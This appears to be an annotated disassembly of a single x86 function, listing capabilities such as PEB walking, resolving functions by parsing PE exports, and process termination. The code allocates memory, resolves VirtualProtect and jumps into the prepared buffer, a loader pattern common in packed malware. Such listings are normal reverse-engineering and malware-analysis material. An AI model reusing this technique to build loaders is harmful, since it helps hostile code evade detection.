Function at 0x4da3d4
Capabilities:
Access peb ldr_data
Get process heap flags
Resolve function by parsing pe exports
Terminate process

Disassembly:
sub esp, 0x18
mov ecx, dword fs:[0x30]
mov eax, dword [ecx + 0xc]
add eax, 0xc
mov eax, dword [eax]
mov edx, dword [eax + 0x30]
test edx, edx
je 0x4da3e4
mov eax, dword [eax + 0x18]
mov dword [esp], eax
mov esi, dword [0x564f58]
mov ebp, dword [ecx + 0xc]
xor ebx, ebx
mov dword [esp + 4], edx
add ebp, 0xc
mov ebp, dword [ebp]
mov ecx, dword [ebp + 0x30]
test ecx, ecx
je 0x4da405
test esi, esi
je 0x4da452
movzx eax, word [ecx]
mov edx, ebx
test eax, eax
je 0x4da44e
mov dword [esp + 8], esi
mov eax, ebx
movzx edi, word [ecx + eax*2]
cmp edi, 0x41
jl 0x4da434
cmp edi, 0x5a
lea esi, [edi + 0x20]
cmovle edi, esi
inc eax
movzx esi, di
add edx, esi
movzx edi, word [ecx + eax*2]
test edi, edi
jne 0x4da422
nop dword [eax + eax]
mov esi, dword [esp + 8]
cmp esi, edx
jne 0x4da405
mov edx, dword [esp + 4]
mov ebx, dword [ebp + 0x18]
mov eax, dword [0x564f78]
cmp dword [eax], 0
je 0x4da4aa
movzx ebp, word [edx]
xor ecx, ecx
test ebp, ebp
je 0x4da605
inc ecx
movzx ebp, word [edx + ecx*2]
test ebp, ebp
jne 0x4da470
movzx ecx, cl
cmp cl, byte [eax]
je 0x4da489
cmp cl, byte [eax + 1]
jne 0x4da554
xor ebp, ebp
xor ecx, ecx
movzx esi, word [edx + ecx*2]
inc ecx
add ebp, esi
movzx edi, word [edx + ecx*2]
test edi, edi
jne 0x4da48d
cmp ebp, dword [eax + 4]
je 0x4da4aa
cmp ebp, dword [eax + 8]
jne 0x4da554
xor edx, edx
mov dword [esp + 4], edx
push 4
push 0x1000
mov eax, dword [0x564f7c]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebp, eax
mov eax, dword [0x564f84]
test eax, eax
jbe 0x4da4f0
xor eax, eax
mov edx, dword [str.VirtualProtect]
mov ecx, dword [edx + eax]
mov dword [ebp + eax], ecx
mov esi, dword [0x564f44]
add eax, esi
mov edi, dword [0x564f84]
cmp eax, edi
jb 0x4da4d1
test ebx, ebx
je 0x4da554
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [ecx + ebx + 0x20]
mov edi, dword [ecx + ebx + 0x18]
add eax, ebx
test edi, edi
jbe 0x4da554
mov dl, byte [ebp]
xor esi, esi
mov dword [esp + 8], ecx
mov dword [esp + 0x14], ebp
mov ebp, ebx
add ebp, dword [eax + esi*4]
cmp dl, byte [ebp]
jne 0x4da54f
mov dword [esp + 0x10], edi
xor ecx, ecx
mov dword [esp + 0xc], eax
mov edi, dword [esp + 0x14]
invalid
cmp byte [ecx + ebp], 0
je 0x4da55c
cmp byte [ecx + edi], 0
je 0x4da55c
inc ecx
mov al, byte [ecx + ebp]
cmp al, byte [ecx + edi]
je 0x4da52e
mov dword [esp + 0x14], edi
mov edi, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
inc esi
cmp esi, edi
jb 0x4da516
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [esp + 8]
mov eax, dword [ecx + ebx + 0x1c]
mov ecx, dword [ecx + ebx + 0x24]
add eax, ebx
add ecx, ebx
movzx edx, word [ecx + esi*2]
mov ebp, dword [eax + edx*4]
add ebx, ebp
je 0x4da554
mov esi, dword [0x564f64]
lea ebp, [esp + 4]
push ebp
mov edx, dword [0x564f60]
mov eax, dword [0x564f84]
push eax
push edx
push esi
call ebx
mov edx, dword [0x564f68]
mov eax, dword [esp]
add eax, edx
mov ecx, dword [0x564f60]
mov dword [esp], eax
mov edx, dword [eax + 4]
cmp ecx, 8
jbe 0x4da5cf
mov ecx, eax
mov eax, 8
mov edi, dword [ecx + eax]
add edi, edx
mov dword [esi + eax], edi
mov edi, dword [0x564f44]
add eax, edi
mov edi, dword [0x564f60]
cmp eax, edi
jb 0x4da5b5
mov eax, dword [0x564f54]
push ebp
mov dword [esi + 8], eax
push dword [esp + 8]
mov edx, dword [0x564f60]
push edx
push esi
call ebx
mov ecx, dword [esi + 0xc]
add ecx, esi
mov eax, dword [0x564f80]
add ecx, eax
mov edx, dword [0x564f80]
add esi, edx
push esi
call ecx
add esp, 4
jmp 0x4da554
cmp byte [eax], 0
je 0x4da614
cmp byte [eax + 1], 0
jne 0x4da554
xor ebp, ebp
jmp 0x4da49c